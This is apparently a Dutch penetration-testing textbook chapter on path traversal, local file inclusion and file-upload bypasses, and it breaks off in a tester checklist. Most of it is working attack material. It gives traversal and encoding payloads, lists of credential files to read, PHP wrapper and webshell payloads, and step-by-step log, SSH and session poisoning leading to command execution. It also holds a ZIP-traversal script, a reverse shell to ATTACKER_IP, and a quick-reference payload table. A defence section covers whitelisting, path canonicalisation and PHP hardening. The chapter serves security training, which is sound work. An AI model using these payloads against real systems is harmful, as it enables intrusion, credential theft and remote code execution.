Path Traversal en File Inclusion
Er bestaat een universeel menselijk verlangen om te organiseren. We doen het al duizenden jaren. De oude Egyptenaren hadden hun papyrusrollen in kleivazen, gesorteerd op onderwerp. De Romeinen hadden hun tabularia, archieven zo netjes geordend dat een ambtenaar binnen een minuut een document kon vinden over een grensconflict van drie jaar geleden. De middeleeuwse monniken hadden hun scriptoria, waar manuscripten met zorg werden gecatalogiseerd en bewaard.
En wij hebben het bestandssysteem.
Het bestandssysteem is een van die uitvindingen die zo fundamenteel
zijn dat de meeste mensen er niet meer over nadenken. Het is een
hiërarchie van mappen en bestanden, net als een archiefkast met laden
die laden bevatten die weer laden bevatten. Bovenaan staat de root – op
Unix is dat /, op Windows is dat C:\ – en
daaronder vertakken zich mappen als de takken van een eik. Elke map kan
bestanden bevatten, of meer mappen, en zo ontstaat er een structuur die
in theorie alles netjes op zijn plek houdt.
Het sleutelwoord is “in theorie”.
Want het probleem met een netjes georganiseerd archief is dat het precies zo veilig is als het slot op de deur. En in de wereld van webapplicaties is dat slot vaak niet meer dan een kartonnen bordje met “verboden toegang” erop. Path traversal – ook wel directory traversal of dot-dot-slash genoemd – is de techniek waarbij een aanvaller dat bordje negeert, door het archief wandelt, en alles leest wat hij wil.
6.1 De basis: twee puntjes en een schuine streep
Laten we beginnen bij het begin. Elk bestandssysteem begrijpt een
handvol navigatiesymbolen. Een punt (.) betekent “de
huidige map”. Twee punten (..) betekent “de bovenliggende
map”. En een schuine streep (/ op Unix, \ op
Windows) scheidt mappen van elkaar.
Dit zijn geen bugs. Dit is hoe bestandssystemen al decennia werken. Het is de taal die elk besturingssysteem spreekt. En het is precies die taal die path traversal mogelijk maakt.
Stel je voor dat een webapplicatie afbeeldingen serveert via een URL als:
https://example.com/image?file=foto.jpg
De applicatie pakt de waarde foto.jpg, plakt die achter
een pad als /var/www/images/, en stuurt het bestand terug.
Simpel. Elegant zelfs. Tot iemand dit probeert:
https://example.com/image?file=../../../etc/passwd
Elke ../ klimt een map omhoog. Drie keer
../ vanaf /var/www/images/ brengt je naar
/, de root van het bestandssysteem. En dan is
/etc/passwd – het bestand dat op elk Unix-systeem de
gebruikerslijst bevat – slechts een vriendelijk verzoek verwijderd.
IB – De command file web_lfi_traversal
in de IB Command Library bevat een uitgebreide verzameling path
traversal payloads voor zowel Linux als Windows. Gebruik deze als
startpunt voor je tests en combineer ze met de fuzzing tip onderaan het
bestand.
De anatomie van een traversal payload
De eenvoudigste payload is een reeks van ../ gevolgd
door het gewenste pad:
../../../../../../../etc/passwd
Waarom zeven keer ../? Omdat je niet weet hoe diep het
huidige pad is. Als je te vaak omhoog klimt, maakt dat niet uit – je
kunt niet hoger dan root. Maar als je te weinig klimt, bereik je het
bestand niet. Meer is dus veiliger. Een pentester die zuinig is met zijn
puntjes is een pentester die niets vindt.
Op Windows ziet dezelfde aanval er iets anders uit:
..\..\..\..\..\..\windows\win.ini
De backslash in plaats van een forward slash, en een ander doelbestand. Maar het principe is identiek. Het bestandssysteem begrijpt allebei, en dat is precies het probleem.
6.2 Encoding: de kunst van het vermommen
Natuurlijk zijn ontwikkelaars niet helemaal dom. Sommigen hebben
bedacht dat ze ../ kunnen filteren. Ze zoeken naar de
letterlijke string ../ in de input en verwijderen die.
Probleem opgelost, toch?
Nee. Want URL-encoding bestaat.
URL-encoding (percent-encoding)
In een URL kun je elk karakter vervangen door zijn hexadecimale
waarde, voorafgegaan door een procentteken. De punt (.)
wordt %2E. De schuine streep (/) wordt
%2F. Dus ../ wordt:
..%2F..%2F..%2F..%2Fetc%2Fpasswd
De webserver decodeert deze waarden voordat de applicatie ze ziet. Maar als de applicatie eerst filtert en de webserver daarna decodeert – of als de applicatie de URL-gedecodeerde waarde niet opnieuw controleert – glipt de payload er doorheen als een aal door een net.
Dubbele URL-encoding
Sommige applicaties decoderen de input een keer en filteren dan. De oplossing? Encodeer het twee keer:
..%252F..%252F..%252F..%252Fetc%252Fpasswd
Hier is %25 de URL-encoding van het procentteken zelf.
De eerste decoderingsronde maakt er %2F van. De tweede
ronde maakt er / van. Als de filtering na de eerste ronde
plaatsvindt maar voor de tweede, heb je een probleem. Of beter gezegd:
de applicatie heeft een probleem.
Overige encoding-trucs
Er zijn meer varianten dan je lief is:
# Dot-stripping bypass (het filter verwijdert ../ maar niet ....//):
....//....//....//etc/passwd
# Semicolon bypass (Tomcat/Java-specifiek):
..;/..;/..;/etc/passwd
# UTF-8 overlong encoding (historisch):
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
# Unicode normalisatie:
..%c0%af..%c0%af..%c0%afetc/passwd
De ....//-variant is bijzonder sluw. Als een filter
../ verwijdert uit ....//, blijft er
../ over. Het filter slaat zichzelf. Het is het digitale
equivalent van een bewaker die het hek opendoet terwijl hij denkt dat
hij het op slot draait.
De ;-variant werkt specifiek op Apache Tomcat, dat de
semicolon behandelt als een path parameter separator. Tomcat negeert
alles voor de semicolon in het pad-segment en interpreteert de rest
normaal. Dit is een van die gevallen waarin het “dat is geen bug, dat is
een feature”-argument van de ontwikkelaars ietwat hol klinkt.
6.3 Local File Inclusion: het bestandssysteem als bibliotheek
Path traversal is de techniek om buiten de bedoelde map te navigeren.
Local File Inclusion (LFI) is wat je ermee doet. Bij LFI wordt een
lokaal bestand op de server ingesloten en verwerkt door de applicatie,
vaak via een PHP include() of require()
functie.
Het verschil is subtiel maar belangrijk. Bij path traversal lees je een bestand. Bij LFI voer je het potentieel uit.
Interessante bestanden
Als je eenmaal kunt lezen wat je wilt, rijst de vraag: wat wil je lezen? Het antwoord hangt af van je doel, maar sommige bestanden zijn vrijwel altijd interessant.
Linux:
| Bestand | Inhoud |
|---|---|
/etc/passwd |
Gebruikerslijst, home directories, login shells |
/etc/shadow |
Wachtwoord-hashes (vereist root-rechten) |
/etc/hosts |
Hostname-naar-IP-mapping, onthult interne netwerknamen |
/proc/self/environ |
Omgevingsvariabelen van het huidige proces |
/proc/self/cmdline |
Commandline waarmee het proces is gestart |
/var/log/apache2/access.log |
Apache access log (voor log poisoning) |
/var/log/auth.log |
Authenticatie log (SSH login pogingen) |
/home/user/.ssh/id_rsa |
SSH private key – jackpot |
/home/user/.bash_history |
Shell commando-geschiedenis |
Windows:
| Bestand | Inhoud |
|---|---|
C:\windows\system32\config\SAM |
Lokale wachtwoord-database |
C:\windows\repair\SAM |
Backup van SAM (vaak leesbaar) |
C:\inetpub\wwwroot\web.config |
IIS configuratie, connection strings |
C:\windows\system32\drivers\etc\hosts |
Hostname mapping |
C:\Users\Administrator\.ssh\id_rsa |
SSH key van de admin |
Webapplicatie-specifiek:
| Bestand | Inhoud |
|---|---|
.env |
Omgevingsvariabelen: database credentials, API keys |
config.php / wp-config.php |
Database wachtwoorden, salt keys |
web.config |
.NET configuratie met connection strings |
application.properties |
Spring Boot configuratie |
Het lezen van /etc/passwd is het equivalent van het
bekijken van het telefoonboek van een bedrijf. Je weet nog niet wat
iedereen doet, maar je weet wie er allemaal zijn. En vaak is dat genoeg
om je volgende stap te plannen.
IB – De web_lfi_traversal command file
bevat secties voor zowel Linux als Windows interessante bestanden.
Kopieer de relevante paden en pas ze aan voor het besturingssysteem van
je doelwit. Vergeet niet dat /etc/shadow meestal niet
leesbaar is als www-data, maar het is altijd het proberen waard.
6.4 PHP wrappers: de geheime deuren
PHP is een taal die gebouwd is met het expliciete doel om webpagina’s te genereren. Het is ook een taal die – door een combinatie van historisch gegroeide features en een laissez-faire houding ten opzichte van beveiliging – een verzameling stream wrappers bevat die elke pentester laat watertanden.
Stream wrappers zijn protocollen die PHP begrijpt in functies als
include(), file_get_contents(), en
fopen(). Je kunt ze beschouwen als alternatieve “routes” om
data te lezen of te schrijven.
php://filter – broncode lezen
Dit is de meest gebruikte wrapper bij LFI. Normaal gesproken wordt een PHP-bestand uitgevoerd wanneer het wordt geinclude. Maar wat als je de broncode wilt lezen, niet het resultaat?
php://filter/convert.base64-encode/resource=config.php
Deze wrapper leest config.php, converteert de inhoud
naar Base64, en retourneert het resultaat als tekst. Omdat Base64 geen
geldige PHP is, wordt het niet uitgevoerd maar letterlijk weergegeven.
Decodeer de output en je hebt de broncode, inclusief hardcoded
wachtwoorden, database credentials, en alle andere geheimen die de
ontwikkelaar dacht verborgen te hebben.
# De Base64 output decoderen:
echo "PD9waHAKJGRiX3VzZXIgPSAncm9vdCc7CiRkYl9wYXNzID0gJ3Bhc3N3b3JkMTIzJzs=" | base64 -d
# Output:
# <?php
# $db_user = 'root';
# $db_pass = 'password123';Ja, password123. In productie. In 2026. De mensheid
leert het nooit.
php://input – code injecteren
Als allow_url_include is ingeschakeld (wat het niet zou
moeten zijn, maar je zou versteld staan hoe vaak het wel is), kun je
PHP-code rechtstreeks via de request body sturen:
curl -X POST "http://target/page.php?file=php://input" \
-d "<?php system('id'); ?>"De include() functie leest de request body als PHP-code
en voert het uit. Van file inclusion naar remote code execution in een
enkele request.
data:// – code als URL
De data:// wrapper is vergelijkbaar met
php://input, maar stuurt de code via de URL zelf:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
De Base64-waarde decodeert naar:
<?php system($_GET['cmd']); ?>Gecombineerd met een &cmd=id parameter heb je een
volledige webshell in een URL. Eleganter wordt het niet.
curl "http://target/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id"expect:// – directe command execution
De meest directe wrapper. Geen omwegen, geen Base64, geen subtiliteit:
expect://id
Voert id uit op het systeem. Vereist de PHP
Expect-extensie, die zelden standaard geinstalleerd is, maar als het er
is, is het het beveiligings- equivalent van een open deur met een bord
“kom binnen en pak wat je wilt”.
curl "http://target/page.php?file=expect://id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Null byte injection (historisch)
Voor PHP 5.3.4 was er een bijzonder elegante truc. Veel applicaties voegden een extensie toe aan het bestand dat je opvroeg:
include($_GET['file'] . '.php');Het idee was dat je alleen PHP-bestanden kon includen. Maar een null
byte (%00) termineert strings in C, en PHP is gebouwd op C.
Dus:
../../../etc/passwd%00
PHP zag ../../../etc/passwd\0.php, maar de onderliggende
C-functie las tot de null byte en opende /etc/passwd. De
.php extensie werd simpelweg genegeerd, alsof hij nooit had
bestaan.
Dit is sinds PHP 5.3.4 gefixt, maar legacy-applicaties bestaan. En als er iets is dat de geschiedenis ons leert, is het dat legacy-applicaties niet met pensioen gaan. Ze worden gewoon vergeten tot iemand ze vindt.
# Null byte met valse extensie:
../../../etc/passwd%00.jpg
../../../etc/passwd%00.php
6.5 Log poisoning: het dagboek vergiftigen
Hier wordt het echt interessant. Log poisoning is de kunst om executable code te injecteren in een logbestand, en dat logbestand vervolgens via LFI te includen zodat de code wordt uitgevoerd. Het is een tweestapaanval die eenvoudiger is dan hij klinkt.
De logica is als volgt:
- Webservers loggen elke request, inclusief headers zoals de User-Agent.
- Die logs worden opgeslagen in bestanden als
/var/log/apache2/access.log. - Als je LFI hebt, kun je die logbestanden includen.
- Als je PHP-code in de logbestanden kunt krijgen, wordt die uitgevoerd bij inclusie.
Het is alsof je een briefje in het gastenboek van een hotel schrijft, en dat briefje later als officieel document wordt behandeld. Behalve dat het briefje een bommelding bevat.
IB – De web_lfi_logpoison command file
in IB bevat het complete stappenplan voor log poisoning, van
LFI-verificatie tot reverse shell. Volg de stappen in volgorde voor een
systematische aanpak.
Stap 1: LFI bevestigen
Voordat je aan log poisoning begint, moet je bevestigen dat je bestanden kunt includen. Test met bekende bestanden:
# Bevestig LFI:
curl "http://TARGET/page.php?file=../../../etc/passwd"
# Als de basis niet werkt, probeer bypass-varianten:
curl "http://TARGET/page.php?file=....//....//....//etc/passwd"Stap 2: Log toegang verifiëren
Nu moet je bevestigen dat je de logbestanden kunt lezen. De locatie verschilt per configuratie:
| Webserver | Locatie |
|---|---|
| Apache (Debian/Ubuntu) | /var/log/apache2/access.log |
| Apache (RHEL/CentOS) | /var/log/httpd/access_log |
| Nginx | /var/log/nginx/access.log |
| XAMPP (Windows) | C:\xampp\apache\logs\access.log |
# Probeer het access log te lezen:
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log"Als je een stortvloed aan logregels terugkrijgt, ben je binnen. Als
niet, probeer andere locaties. De error.log is soms een
goed alternatief als de access.log niet bereikbaar is.
Stap 3: PHP-code injecteren via de User-Agent
Dit is het moment waarop je het logbestand vergiftigt. De User-Agent header wordt standaard gelogd in het access log. Dus:
# Injecteer PHP-code via de User-Agent header:
curl -A "<?php system(\$_GET['cmd']); ?>" "http://TARGET/"Op het moment dat je dit commando uitvoert, schrijft Apache een regel naar het access log die er ongeveer zo uitziet:
10.10.14.5 - - [23/Feb/2026:14:22:01 +0100] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>"
Die PHP-code zit nu in het logbestand. Het wacht geduldig tot iemand het includet.
Je kunt ook Netcat gebruiken voor meer controle over de ruwe request:
nc TARGET 80
GET / HTTP/1.1
Host: TARGET
User-Agent: <?php system($_GET['cmd']); ?>Stap 4: Command execution via log inclusion
Nu combineer je de twee stappen – LFI en de vergiftigde log:
# Code executie:
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id"
# Output bevat: uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=whoami"
# Output bevat: www-dataEn voor de grand finale – een reverse shell:
# Reverse shell via log poisoning:
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/ATTACKER_IP/443%200>%261'"Vergeet niet om speciale tekens URL te encoden: &
wordt %26, spaties worden %20. Een vergeten
ampersand in een shell commando is het verschil tussen een reverse shell
en een cryptisch foutmelding.
IB – Let op de tip onderaan
web_lfi_logpoison: als access.log niet werkt,
probeer error.log. Sommige configuraties loggen meer
details in het error log, inclusief de volledige URL met parameters.
Alternatieve log poisoning vectoren
Access logs zijn niet de enige logs die je kunt vergiftigen. Er zijn verrassend veel alternatieve routes.
Mail log poisoning:
Als de server een mailservice draait, kun je PHP-code injecteren via SMTP:
telnet TARGET 25
MAIL FROM: <attacker@test.com>
RCPT TO: <www-data@TARGET>
DATA
<?php system($_GET['cmd']); ?>
.De mail wordt opgeslagen in /var/mail/www-data. Include
dat bestand:
curl "http://TARGET/page.php?file=../../../var/mail/www-data&cmd=id"SSH log poisoning:
SSH auth logs bevatten de gebruikersnaam van mislukte login-pogingen. Wat als die “gebruikersnaam” PHP-code is?
# Injecteer PHP via SSH login:
ssh '<?php system($_GET["cmd"]); ?>'@TARGETDe SSH-server weigert de login (natuurlijk), maar logt de poging in
/var/log/auth.log, inclusief de “gebruikersnaam”. Include
het auth log:
curl "http://TARGET/page.php?file=../../../var/log/auth.log&cmd=id"Dit werkt alleen als het auth.log leesbaar is voor het
webserverproces, wat niet standaard het geval is. Maar
standaardconfiguraties en de werkelijkheid lopen zelden synchroon.
/proc/self/environ poisoning:
Het /proc/self/environ pseudo-bestand bevat de
omgevingsvariabelen van het huidige proces. De
HTTP_USER_AGENT variabele wordt gevuld vanuit de User-Agent
header. Dus:
curl -A "<?php system(\$_GET['cmd']); ?>" \
"http://TARGET/page.php?file=../../../proc/self/environ&cmd=id"Hier combineer je de injectie en de executie in een enkele request. Elegant en effectief, als een goocheltruc waarbij je het konijn uit de hoed haalt terwijl je tegelijk de hoed in brand steekt.
6.6 File upload bypass: de sluiswachter om de tuin leiden
File uploads zijn een van die features die elke webapplicatie nodig heeft en elke beveiligingstester vreest. Het idee is simpel: de gebruiker uploadt een bestand, de server slaat het op. Maar de duivel zit in de details. Want als een gebruiker een PHP-bestand kan uploaden naar een locatie waar de webserver PHP uitvoert, is het spel voorbij.
De meeste applicaties proberen dit te voorkomen met filtering. Ze controleren de bestandsextensie, het content type, of de inhoud. Maar elke filter heeft zwakke plekken, en aanvallers zijn bijzonder creatief in het vinden daarvan.
IB – De web_upload_bypass command file
bevat een systematisch overzicht van alle bypass-technieken, van
extensie-varianten tot magic bytes. Gebruik Burp Intruder met deze lijst
voor geautomatiseerd testen.
Extension filtering omzeilen
De meest voorkomende bescherming is een blacklist van gevaarlijke
extensies. .php is geblokkeerd? Prima. Maar er zijn
alternatieven:
# PHP alternatieven:
shell.php3
shell.php4
shell.php5
shell.phtml
shell.phar
shell.phps
shell.pHp # Case sensitivity op Windows
Veel applicaties blokkeren .php maar vergeten
.phtml, dat door Apache standaard als PHP wordt
geinterpreteerd. Het is alsof je de voordeur op slot doet maar vergeet
dat de achterdeur ook een slot heeft.
ASP alternatieven:
shell.asp
shell.aspx
shell.ashx
shell.asmx
JSP alternatieven:
shell.jsp
shell.jspx
shell.jsw
shell.jsv
Double extensions
Een andere klassieke truc. Sommige applicaties controleren alleen de laatste extensie. Andere controleren of een bepaalde extensie aanwezig is. Beide zijn te misbruiken:
shell.php.jpg # Laatste extensie is .jpg, applicatie is tevreden
shell.php.png # Zelfde truc, ander imago
shell.jpg.php # Eerste extensie is .jpg, maar Apache voert .php uit
De configuratie van de webserver bepaalt welke extensie wint. Apache
met mod_php kijkt naar de laatste extensie die het herkent
als uitvoerbaar. Dus shell.php.jpg zou als JPEG behandeld
worden, maar shell.jpg.php als PHP. Het hangt allemaal af
van de configuratie, en configuratie is waar de meeste systeembeheerders
hun creatieve vrijheid nemen.
Null byte in bestandsnaam
Op oudere systemen kun je dezelfde null byte truc gebruiken als bij LFI:
shell.php%00.jpg # Applicatie ziet .jpg, filesystem ziet .php
shell.php\x00.jpg # Zelfde idee, andere notatie
Content-Type manipulatie
Veel applicaties vertrouwen op de Content-Type header
die de browser meestuurt. Die header wordt door de client bepaald, wat
betekent dat een aanvaller hem naar believen kan aanpassen:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
Het bestand heet shell.php en bevat PHP-code, maar de
Content-Type zegt image/jpeg. Een applicatie
die alleen het content type controleert, denkt dat het een onschuldige
foto is.
Het is hetzelfde als een bewaker die je ID controleert maar alleen naar de foto kijkt en niet naar de naam. Zolang je er maar aardig uitziet, mag je naar binnen.
Magic bytes
Een stap verder dan content-type manipulatie. Sommige applicaties controleren de eerste bytes van een bestand om het type te bepalen. Elk bestandsformaat heeft een unieke “magic number” – een herkenbare byte-sequentie aan het begin.
Je kunt die bytes toevoegen aan je payload:
GIF89a<?php system($_GET['cmd']); ?>De eerste zes bytes (GIF89a) zijn de magic bytes van een
GIF-bestand. Een applicatie die alleen de header controleert, ziet een
GIF. De PHP-interpreter negeert de GIF-header (het is geen geldige PHP)
en voert de rest uit.
Voor PNG:
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>
Dit is beveiligingstheater op zijn best: een controle die er officieel uitziet, die iedereen een veilig gevoel geeft, maar die precies niets doet tegen iemand die weet hoe het werkt.
ZIP traversal
Een geavanceerdere techniek die werkt wanneer een applicatie geuploadde ZIP-bestanden uitpakt. Je kunt een ZIP-bestand maken met een pad dat buiten de bedoelde map wijst:
import zipfile
z = zipfile.ZipFile('exploit.zip', 'w')
z.writestr('../../../../../var/www/html/shell.phtml',
'<?php system($_GET["cmd"]); ?>')
z.close()Als de server het ZIP-bestand uitpakt zonder het pad te sanitizen, wordt je shell geplaatst in de webroot. Van upload naar RCE zonder een enkele extensiefilter te raken.
.htaccess upload
Dit is de meest elegante bypass. In plaats van het filter te omzeilen, herschrijf je de regels:
# Upload een .htaccess bestand met deze inhoud:
AddType application/x-httpd-php .jpg
Nu behandelt Apache elk .jpg bestand in die map als PHP.
Upload vervolgens je shell als shell.jpg:
<?php system($_GET['cmd']); ?>De applicatie ziet een .jpg bestand en is tevreden.
Apache ziet een PHP-bestand en voert het uit. Beide systemen doen
precies wat hen is verteld, en toch gaat alles mis. Dat is de essentie
van beveiligingsproblemen: niet een enkel systeem dat faalt, maar twee
systemen die langs elkaar heen communiceren.
Webshells: de minimale payload
Ongeacht welke bypass je gebruikt, je hebt een payload nodig. Hier zijn de meest compacte webshells per taal:
// PHP (klassiek):
<?php system($_GET['cmd']); ?>
// PHP (kort):
<?=`$_GET[0]`?><% eval request("cmd") %><% Runtime.getRuntime().exec(request.getParameter("cmd")); %>De kortste PHP-webshell is 19 bytes. Negentien. Minder dan een tweet. Dat is alles wat nodig is om volledige controle over een server te krijgen.
6.7 Van LFI naar RCE: de volledige keten
Laten we de puzzelstukjes samenvoegen. LFI op zichzelf is informatielek – je kunt bestanden lezen, maar geen code uitvoeren. Tenminste, dat is wat de theorie zegt. In de praktijk zijn er meerdere routes van “ik kan bestanden lezen” naar “ik kan commando’s uitvoeren”.
Route 1: PHP wrappers
De directe route. Als allow_url_include is
ingeschakeld:
# Via data:// wrapper:
curl "http://TARGET/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id"
# Via php://input:
curl -X POST "http://TARGET/page.php?file=php://input" \
-d "<?php system('id'); ?>"
# Via expect://:
curl "http://TARGET/page.php?file=expect://id"Route 2: Log poisoning
De klassieke route, zoals hierboven beschreven:
# Stap 1: Injecteer code in de logs
curl -A "<?php system(\$_GET['cmd']); ?>" "http://TARGET/"
# Stap 2: Include het log
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id"Route 3: /proc/self/environ
Combineer injectie en executie in een stap:
curl -A "<?php system(\$_GET['cmd']); ?>" \
"http://TARGET/page.php?file=../../../proc/self/environ&cmd=id"Route 4: Session file inclusion
PHP slaat sessiedata op in bestanden, meestal in
/tmp/sess_<PHPSESSID>. Als je data in je sessie kunt
injecteren (via een formulierveld dat in de sessie wordt opgeslagen),
kun je dat sessiebestand includen:
# Stel dat een formulier je naam opslaat in de sessie:
curl -b "PHPSESSID=abc123" \
"http://TARGET/page.php?name=<?php system(\$_GET['cmd']); ?>"
# Include het sessiebestand:
curl -b "PHPSESSID=abc123" \
"http://TARGET/page.php?file=../../../tmp/sess_abc123&cmd=id"Route 5: File upload + LFI
Upload een afbeelding met embedded PHP-code (via magic bytes), vind het pad waar het is opgeslagen, en include het via LFI:
# Upload een "afbeelding" met PHP code:
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
curl -F "file=@shell.gif" "http://TARGET/upload"
# Include via LFI:
curl "http://TARGET/page.php?file=../../../var/www/uploads/shell.gif&cmd=id"Elk van deze routes heeft zijn eigen vereisten en beperkingen. Maar het principe is hetzelfde: zoek een manier om PHP-code op de server te krijgen, en gebruik LFI om die code uit te voeren. Het is een puzzel, en elke server is een andere puzzel.
IB – Gebruik de PHP wrappers sectie in zowel
web_lfi_traversal als web_lfi_logpoison voor
een complete referentie van alle wrappers. Onthoud de tip: PHP wrappers
werken alleen als allow_url_include=On. Check dit met
php://filter op de php.ini configuratie.
6.8 Verdediging: het archief op slot
Na al die aanvalsroutes is het eerlijk om ook over verdediging te praten. Want hoewel het cynische in ons wil zeggen dat het toch hopeloos is, is path traversal en LFI een van die kwetsbaarheden die met discipline te voorkomen zijn.
Whitelist, niet blacklist
De fundamentele fout die de meeste applicaties maken, is het blokkeren van bekende slechte input (blacklisting) in plaats van het toestaan van bekende goede input (whitelisting).
# FOUT: blacklist
def get_file(filename):
if '../' in filename:
return "Nee."
return open(f'/var/www/files/{filename}').read()
# GOED: whitelist
ALLOWED_FILES = {'report.pdf', 'manual.html', 'logo.png'}
def get_file(filename):
if filename not in ALLOWED_FILES:
return "Nee."
return open(f'/var/www/files/{filename}').read()De blacklist-aanpak is een eindeloze wapenwedloop. Je blokkeert
../, dus de aanvaller gebruikt ..%2F. Je
blokkeert dat, dus hij gebruikt ....//. Je blokkeert dat,
dus hij vindt weer iets nieuws. De whitelist-aanpak eindigt het gesprek:
als het niet op de lijst staat, bestaat het niet.
Path canonicalisatie
Als een whitelist niet praktisch is (bijvoorbeeld bij een CMS dat willekeurige bestanden moet serveren), gebruik dan path canonicalisatie:
import os
def get_file(filename):
base_dir = '/var/www/files'
requested = os.path.realpath(os.path.join(base_dir, filename))
if not requested.startswith(base_dir):
return "Nee."
return open(requested).read()os.path.realpath() resolved alle ..
componenten, symlinks, en encoding- trucs tot een absoluut pad. Als het
resulterende pad niet begint met je basemap, is er iemand aan het
traverselen.
Chroot / containers
De nucleaire optie: zet de webapplicatie in een chroot jail of container waar het bestandssysteem dat het proces kan zien beperkt is tot wat het nodig heeft. Zelfs als een aanvaller path traversal bereikt, is er niets interessants om te lezen.
# Docker: de applicatie ziet alleen /app
FROM python:3.12-slim
WORKDIR /app
COPY . .
USER nobodyPHP-specifieke maatregelen
; php.ini
allow_url_include = Off ; Blokkeer remote file inclusion
allow_url_fopen = Off ; Blokkeer remote file access
open_basedir = /var/www/ ; Beperk bestandstoegang
disable_functions = system,exec,passthru,shell_exec,popen,proc_openopen_basedir is PHP’s ingebouwde chroot. Het beperkt
welke mappen PHP-scripts kunnen benaderen. Het is niet waterdicht (er
zijn historische bypasses), maar het is een laag die je altijd moet
toevoegen.
Upload-specifieke maatregelen
# Valideer extensie EN content-type EN magic bytes:
import magic
ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/gif'}
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif'}
def validate_upload(file):
ext = os.path.splitext(file.filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
return False
# Check magic bytes met python-magic:
mime = magic.from_buffer(file.read(2048), mime=True)
file.seek(0)
if mime not in ALLOWED_TYPES:
return False
return TrueEn, cruciaal: sla uploads op buiten de webroot, of op een apart domein zonder server-side scripting. Als de webserver geen PHP (of ASP, of JSP) uitvoert in de upload-map, maakt het niet uit wat er geupload wordt.
# Nginx: geen PHP executie in de uploads map
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Rename na upload
Geef geuploadde bestanden een random naam zonder de originele extensie:
import uuid
def save_upload(file):
safe_name = str(uuid.uuid4()) # Geen extensie, geen problemen
path = os.path.join(UPLOAD_DIR, safe_name)
file.save(path)
return safe_nameEen bestand zonder extensie wordt door geen enkele webserver als uitvoerbaar beschouwd. Het is de digitale equivalent van het verwijderen van de trekker uit een pistool: het ziet er nog steeds gevaarlijk uit, maar het doet niets.
6.9 De realiteit
En hier is het moment waarop het cynische stemmetje weer mag meepraten.
Want het probleem met path traversal en LFI is niet dat we niet weten
hoe we het moeten voorkomen. We weten het al sinds de jaren negentig.
realpath() bestaat al langer dan de meeste webontwikkelaars
leven. Whitelisting is geen geavanceerd concept. En toch, in 2026,
zitten we hier nog steeds te praten over
../../../etc/passwd alsof het een nieuwe aanval is.
De waarheid is dat path traversal niet voortkomt uit onwetendheid. Het komt voort uit luiheid, haast, en de eeuwige overtuiging dat “het ons niet zal overkomen”. Het komt voort uit ontwikkelaars die een feature in een middag bouwen en de beveiliging “later” toevoegen – een “later” dat nooit komt omdat er altijd een nieuwe feature is die “later” ook nodig heeft.
We slaan gevoelige bestanden op in leesbare mappen. We geven de webserver toegang tot het hele bestandssysteem. We vertrouwen op extensiefilters die een kind van twaalf kan omzeilen. En als het misgaat, wijzen we naar de aanvaller alsof hij iets oneerlijks heeft gedaan.
De aanvaller heeft niets oneerlijks gedaan. Hij heeft
../ getypt. Dat is het. Drie karakters. Twee puntjes en een
schuine streep. Als je systeem niet bestand is tegen twee puntjes en een
schuine streep, dan is het probleem niet de aanvaller. Dan is het
probleem dat je een systeem hebt gebouwd met het veerkracht-niveau van
een kaartenhuis in een orkaan.
Maar goed, het houdt ons van de straat.
6.10 Referentietabel
| Techniek | Payload / Commando | Doel |
|---|---|---|
| Basis traversal (Linux) | ../../../../../../../etc/passwd |
Gebruikerslijst lezen |
| Basis traversal (Windows) | ..\..\..\..\windows\win.ini |
Windows configuratie lezen |
| URL-encoded traversal | ..%2F..%2F..%2Fetc%2Fpasswd |
Filter bypass via encoding |
| Dubbel URL-encoded | ..%252F..%252F..%252Fetc%252Fpasswd |
Dubbele decodering bypass |
| Dot-stripping bypass | ....//....//....//etc/passwd |
Filter verwijdert ../ maar niet
....// |
| Semicolon bypass | ..;/..;/..;/etc/passwd |
Tomcat path parameter separator |
| Null byte (PHP < 5.3.4) | ../../../etc/passwd%00.jpg |
Extensie-toevoeging omzeilen |
| PHP filter wrapper | php://filter/convert.base64-encode/resource=config.php |
Broncode lezen als Base64 |
| PHP data wrapper | data://text/plain;base64,PD9waH... |
Code execution via URL |
| PHP expect wrapper | expect://id |
Directe command execution |
| Log poisoning (injectie) | curl -A "<?php system(\$_GET['cmd']); ?>" http://TARGET/ |
PHP in access log schrijven |
| Log poisoning (executie) | curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id" |
Vergiftigd log includen |
| SSH log poisoning | ssh '<?php system($_GET["cmd"]); ?>'@TARGET |
PHP via SSH auth log |
| /proc/self/environ | curl -A "<?php system(\$_GET['cmd']); ?>" "http://T/page.php?file=../../../proc/self/environ&cmd=id" |
Injectie + executie in een stap |
| Extension bypass (PHP) | shell.phtml, shell.phar,
shell.php5 |
Blacklist omzeilen |
| Double extension | shell.php.jpg, shell.jpg.php |
Extensiecontrole verwarren |
| Content-Type bypass | Content-Type: image/jpeg bij PHP upload |
Content-type validatie omzeilen |
| Magic bytes | GIF89a<?php system($_GET['cmd']); ?> |
Bestandstype detectie omzeilen |
| .htaccess upload | AddType application/x-httpd-php .jpg |
Apache configuratie overschrijven |
| ZIP traversal | z.writestr('../../../var/www/html/shell.phtml', payload) |
Path traversal via archief |
6.11 Checklist voor testers
Identificeer file inclusion parameters: Zoek naar URL-parameters die naar bestanden verwijzen (
